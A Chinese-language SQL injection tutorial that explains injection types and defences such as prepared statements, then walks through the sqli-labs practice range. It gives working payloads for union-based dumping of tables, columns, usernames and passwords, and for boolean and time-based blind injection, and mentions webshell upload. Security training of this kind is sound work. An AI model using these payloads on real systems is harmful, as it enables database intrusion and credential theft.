SQL隱碼攻擊(SQL Injection)是指Web應用程式對使用者輸入資料的合法性沒有判斷或過濾不嚴,攻擊者可以在Web應用程式中事先定義好的查詢語句的結尾後新增額外的SQL語句,在管理員不知情的情況下實現非法操作。以此來實現欺騙資料庫伺服器執行非授權的任意查詢,從而進一步得到相應的資料資訊。
簡單來講就是:攻擊者透過構造惡意的SQL語句來實現對資料庫的操作。
兩個條件
- 引數使用者可控 —— 使用者能夠控制資料的輸入
- 構造的引數可帶入資料庫並且被執行 —— 原本要執行的sql語句拼接了使用者的輸入
SQL隱碼攻擊的核心:將輸入語句拼接到程式碼中,並被當成SQL語句執行。
SQL隱碼攻擊可能發生在哪些地方
以下是一些常見的SQL隱碼攻擊發生地點:
- 使用者輸入:這是最常見的SQL隱碼攻擊來源,包括但不限於表單欄位如登入表單、搜尋框、登錄檔單等。
- URL引數:透過修改URL的查詢字串引數,攻擊者可以嘗試對資料庫進行注入攻擊。
- Cookie:Web應用程式會使用Cookie來儲存使用者會話資訊,就可能被用來執行SQL隱碼攻擊。
- HTTP頭部:有些Web應用程式可能會根據HTTP請求頭部欄位(如User-Agent、Referer等)中的資訊來構建SQL查詢。
- XML輸入:有些Web應用程式會使用XML或其他進行資料交換,如果未正確處理輸入資料,就可能被用來執行SQL隱碼攻擊。
SQL隱碼攻擊點如何探測
在輸入欄位中嘗試輸入特殊的SQL字元,如果應用程式返回了資料庫錯誤資訊,或者異常,可能就意味著存在SQL隱碼攻擊漏洞。
只要是帶有引數的動態網頁並且該網頁訪問了資料庫,那麼就有可能存在 SQL 注入:
-
先加單引號
'
或雙引號"
等看是否報錯,如果報錯就可能存在SQL隱碼攻擊漏洞。 -
另外在URL後面加
and 1=1
、and 1=2
看頁面是否顯示一致,顯示不一樣的話,肯定存在SQL隱碼攻擊漏洞。 -
還有就是利用盲注,透過觀察資料庫響應時間或者不同響應來推斷查詢的真假。
SQL隱碼攻擊的型別有哪些
按照注入點的資料型別來分類:
- 數字型注入點
類似結構http://xxx.com/xxx.php?id=1
這種形式,注入點id
型別為數字。
這一類的 SQL 語句原型大概為select * from table_name where id=1
,若存在注入,可以構造出類似與如下的sql注入語句進行注入:
select * from table_name where id=1 and 1=1
- 字元型注入點
類似結構http://xxx.com/xxx.php?name=admin
這種形式,注入點name
型別為字元型別。
這一類的 SQL 語句原型大概為 select * from table_name where name='admin'
這裡相比於數字型注入型別的sql語句原型多了引號,可以是單引號或者是雙引號。可以構造出類似與如下的sql注入語句進行注入:將後引號閉合
select * from table_name where name='admin' and 1=1'
按照資料提交的方式來分類:
- GET 注入
提交資料的方式是 GET , 注入點的位置在 GET 引數部分。
- POST 注入
使用 POST 方式提交資料,注入點位置在 POST 資料部分。
- Cookie 注入
HTTP 請求的時候會帶上客戶端的 Cookie, 注入點存在 Cookie 當中的某個欄位中。
- HTTP 頭部注入
注入點在 HTTP 請求頭部的某個欄位中。(嚴格講的話,Cookie 其實應該也是算頭部注入的一種形式)
按照執行效果來分類:
- 基於布林的盲注
即可以根據返回頁面判斷條件真假的注入。
- 基於時間的盲注
即用條件語句檢視時間延遲語句是否執行(即頁面返回時間是否延長)來判斷。
- 基於報錯注入
即頁面會返回錯誤資訊,或者把注入的語句的結果直接返回在頁面中。
- 聯合查詢注入
可以使用 union 的情況下的注入。
- 堆查詢注入
可以同時執行多條語句的執行時的注入。
- 寬位元組注入
資料庫編碼與 php 編碼設定為不同的兩個編碼,這樣就可能會產生寬位元組注入。
SQL隱碼攻擊的一般步驟
1. 注入點探測
手工注入:
- 可控引數的改變是否可以影響頁面的顯示的結果
- 輸入的sql語句是否能報錯:透過資料庫的報錯,看到資料庫的一些語句痕跡
- 輸入的sql語句是否不報錯:語句能夠成功閉合
2.資訊獲取
- 環境資訊:資料庫型別、資料庫版本、操作性系統版本、使用者資訊等
- 資料庫資訊:資料庫名、資料庫表、欄位、欄位內容
3.許可權獲取
- 編寫webshell,上傳木馬,獲取作業系統許可權
MySQL資料庫注入常用的函式
version():檢視資料庫版本
database():檢視使用的資料庫
user():檢視當前使用者
limit:limit子句分批來獲取所有資料
group_concat():一次性獲取所有的資料庫資訊
concat_ws(':','str1','str2','str3'):按 str1:str2:str3 格式拼接字串
length():返回指定物件的長度
left(str,num):對字串str從左開始數起,返回num個字元(與函式right()相反)
ascii():返回字串str的最左字元的數值,ASCII()返回數值是從0到255
updatexml(1,concat(0x7e,(),0x7e),1):一共可以接收三個引數,報錯位置在第二個引數(報錯注入)
extractvalue(1,concat(0x7e,())):一共可以接收兩個引數,報錯位置在第二個引數(報錯注入)
其他
information_schema.tables:包含了資料庫裡所有的表
table_name:表名
table_schema:資料庫名
column_name:欄位名
SQL隱碼攻擊的防禦
- 採用預編譯技術
例如:INSERT INTO MyGuests (firstname, lastname, email) VALUES(?, ?, ?);
使用預編譯的SQL語句,SQL語句的語義不會是不會發生改變的。攻擊者無法改變SQL語句的結構,只是把值賦給?
,然後將?
這個變數傳給SQL語句。
- 嚴格控制資料型別
強型別語言中一般是不存在數字型注入的,因為在接受到使用者輸入id時,程式碼會做資料型別轉換。但是沒有強調處理資料型別的語言,一接收id的程式碼是如下這樣:
$id = $_GET['id'];
$SQL = "select * from '某欄位' where id = $id;";
加入一個檢查數字型別函式is_numeric()
就可以防止數字型注入。
- 對特殊的字元進行轉義
在MySQL中對" ' "
進行轉義,這樣可以防止一些惡意攻擊者來閉合語句。也可以透過一些安全函式來轉義特殊字元,如addslashes()
等。
- 使用儲存過程
使用儲存過程的效果和使用預編譯語句類似,其區別就是儲存過程需要先將sql語句定義在資料庫中。(儘量避免在儲存過程內使用動態的sql語句)
MySQL隱碼攻擊實列
靶場環境:phpstudy本地搭建sqli-labs-php7(原版的sqli只支援php5,搭建過程可能會存在資料庫連線失敗的情況)
專案地址:https://github.com/skyblueee/sqli-labs-php7
注入工具:火狐瀏覽器配合hackbar
字元型注入
sqli-labs靶場第一題:/sqli-labs-php7-master/Less-1/
1. 注入點探測
先看頁面是否有變化?
Split URL: ?id=1 and 1=1
Split URL: ?id=1 and 1=2
檢視原始碼可以很容易的得到sql是如何拼接的
拼接後的sql:select * from users where id='1 and 1=2' limt 0,1
頁面沒有變化,也沒有報錯,來判斷一下是否為字元型注入?
Split URL: ?id=1'
拼接後的sql:select * from users where id='1'' limt 0,1
發現頁面報錯,告訴我們出現了語法錯誤,是因為單引號導致的,此題應該為字元型注入。
Split URL: ?id=1' and '1'='1
Split URL: ?id=1' --
拼接後的sql:select * from users where id='1'and '1'='1' limt 0,1
頁面回顯正常,確定為字元型注入。
-- 是sql語句中的一種註釋,將前面的sql語句補充完整後,後面跟隨註釋將不會執行後面的註釋。
2. 確定當前表有幾列
為什麼要確定表中欄位的列數呢?
因為後面的union
聯合查詢,使用order by
來確定表中的列數。
聯合查詢特點:要求多條查詢語句的查詢列數是一致的。
Split URL: Split URL: ?id=1' order by 1 --
Split URL: Split URL: ?id=1' order by 2 --
Split URL: Split URL: ?id=1' order by 3 --
Split URL: Split URL: ?id=1' order by 4 --
拼接後的sql:select * from users where id='1' order by 4 -- limt 0,1
當嘗試到order by 4
根據第四列排序報錯了,那麼表中沒有第四列,一共只有3列。
3. 判斷那幾列回顯
用聯合查詢(將id弄成一個負數的值,使前面的語句失效)然後看看union查詢是否有回顯位。
Split URL: ?id=-1' union select 1,2,3 --
拼接後的sql:select * from users where id='-1' union select 1,2,3 -- limt 0,1
顯示2,3, 那麼就說明第2,3列可以回顯。
可以回顯了以後,就可以之前提到過的各種函式來查詢我們需要的資訊了。
4. 爆出資料庫相關資訊
Split URL: ?id=-1' union select 1,database(),version() --
拼接後的sql:select * from users where id='-1' union select 1,database(),version() -- limt 0,1
知道了當前資料庫是:security,版本資訊:5.7.26。
5. 爆出當前資料庫內的所有表名
Split URL: ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --
拼接後的sql:select * from users where id='-1' union select 1,2,group_concat(table_name) from information_schema.tables
where table_schema=database() -- limt 0,1
6. 爆出當前資料庫user表的所有列名
Split URL: ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
and table_schema=database() --
7. 爆出當前資料庫user表所有username和password
Split URL: ?id=-1' union select 1,2,group_concat(concat_ws(':',username,password)) from users --
獲得了所有的賬號和密碼。
8. 上傳webshell
數字型注入
sqli-labs第二題:/sqli-labs-php7-master/Less-2/
有了上面的示例,接下來就簡單很多了,只要找到注點,其他的大同小異。
1. 注入點探測
利用上面字元型的套路注入,都報錯提示存在語法錯誤,說明原sql語句不需要閉合引號,排除了字元型注入。
Split URL: ?id=1 and 1=1 %23
Split URL: ?id=1 and 1=2 %23
%23
同樣表示註釋,經過URL解碼後是#
拼接後的sql:SELECT * FROM users WHERE id=1 and 1=2 # LIMIT 0,1
沒有顯示出內容,其實分析sql語句可以得知是where子句出錯了,沒有查詢結果。
可以判斷出是數字型注入。
2. 判斷列數與回顯情況
這裡的判斷方法與上面的方法如出一轍,判斷出來有3列。
判斷回顯只用將id
換為數字型即可,去掉引號:?id=-1 union select 1,database(),version() --
接下來的注入語句基本一樣。
3. 爆出當前資料庫的所有表名
Split URL: ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23
拼接後的sql:SELECT * FROM users WHERE id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() LIMIT 0,1
4. 爆出當前資料庫的users表的所有列名
Split URL: ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() %23
拼接後的sql:SELECT * FROM users WHERE id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() # LIMIT 0,1
5. 爆出當前資料庫users表的所有username和password
Split URL: ?id=-1 union select 1,group_concat(username),group_concat(password) from users %23
拼接後的sql:SELECT * FROM users WHERE id=-1 union select 1,group_concat(username),group_concat(password) from users LIMIT 0,1
布林盲注
布林盲注一般適用於頁面沒有回顯欄位,頁面只返回True和False兩種型別頁面,利用頁面返回不同,逐個猜解資料。
sqli-labs第五題:/sqli-labs-php7-master/Less-5/
1.判斷注入點型別
Split URL: ?id=1
拼接後的sql:SELECT * FROM users WHERE id='1' LIMIT 0,1
返回頁面正常。
Split URL: ?id=1'
拼接後的sql:SELECT * FROM users WHERE id='1'' LIMIT 0,1
返回報錯,可以判斷出來時字元型注入,單引號注入。
2.判斷當前資料庫名的長度
布林盲注一般適用於頁面沒有回顯欄位,所以我們無法直接獲得內容,但可以知道頁面返回是對還是錯,透過一點一點修改注入的條件看是否成功,就可以間接得到一些資訊。
我們嘗試查詢資料庫名,length()
得到它的長度,得到一個條件表示式,逐個嘗試。
Split URL: ?id=1' and length((select database()))>0 %23
Split URL: ?id=1' and length((select database()))>1 %23
......
Split URL: ?id=1' and length((select database()))>8 %23
當嘗試到大於8的時候,頁面沒有顯示。
那麼就試試等於8的時候,頁面正常,那麼and後面的條件為真,資料庫名長度為8。
Split URL: ?id=1' and length((select database()))=8 %23
拼接後的sql:SELECT * FROM users WHERE id='1' and length((select database()))=8 #' LIMIT 0,1
盲注就是不斷嘗試,手工注入的時候就是比較繁瑣的,熟悉了套路以後可是使用一些工具提高效率。
2.檢測當前資料庫名
拿到資料庫名長度以後,可以嘗試對每一個字元經行嘗試,ascii字元最大就是256種可能。
substr()
取除第一個字元,ascii()
得到其ascii碼,得到一個條件表示式,逐個嘗試。
Split URL: ?id=1' and ascii(substr((select database()),1,1))=1 %23
當嘗試到115時,頁面顯示正常了,那麼說明第一個字元的ascii碼就是115,對應字元為s
。
手工的一個一個嘗試太耗時間,可是使用burp的intruder模組進行爆破,對右邊的數字從0到255爆破。
payload選擇數字0到255。
attack後,對Length排序後,發現一個特殊的包,payload是115,該字元的ascii就是115。
修改到下一個字元,重複操作,根據響應報文的Length不同,最終可以拿到如下8位ascii碼(115 101 99 117 114 105 116 121)可得資料庫名為:security
利用這種方法就可以爆出所有表名字元長度、所有欄位名的長度等等。
時間盲注
時間盲注針對頁面沒有任何變化,和布林盲注還是有不同的,我們可以透過瀏覽器頁面的響應時間來判斷。
藉助sleep()
函式來判斷,if(a,sleep(10),1)如果a結果是真的,那麼執行sleep(10)頁面延遲10秒,如果a的結果是假,執行1頁面不延遲。
sqli-labs第九題:/sqli-labs-php7-master/Less-9/
1.判斷注入型別
Split URL: ?id=1" and if(1=1,sleep(3),1)%23
頁面不延遲
Split URL: ?id=1' and if(1=1,sleep(3),1)%23
頁面延時了3秒,判斷出是單引號注入。
2.判斷資料庫名長度
Split URL: ?id=1' and if(length((select database()))=8,sleep(3),1)%23
頁面延時3秒,判斷出是資料庫名長8。
3.逐一判斷資料庫名字元
Split URL: ?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(3),1)%23
頁面延時3秒,判斷出是資料庫名的一個字元的ascii碼為115,以此類推。
掌握手工注入以後,就可以藉助sqlmap等工具來完成。
若有錯誤,歡迎指正!o( ̄▽ ̄)ブ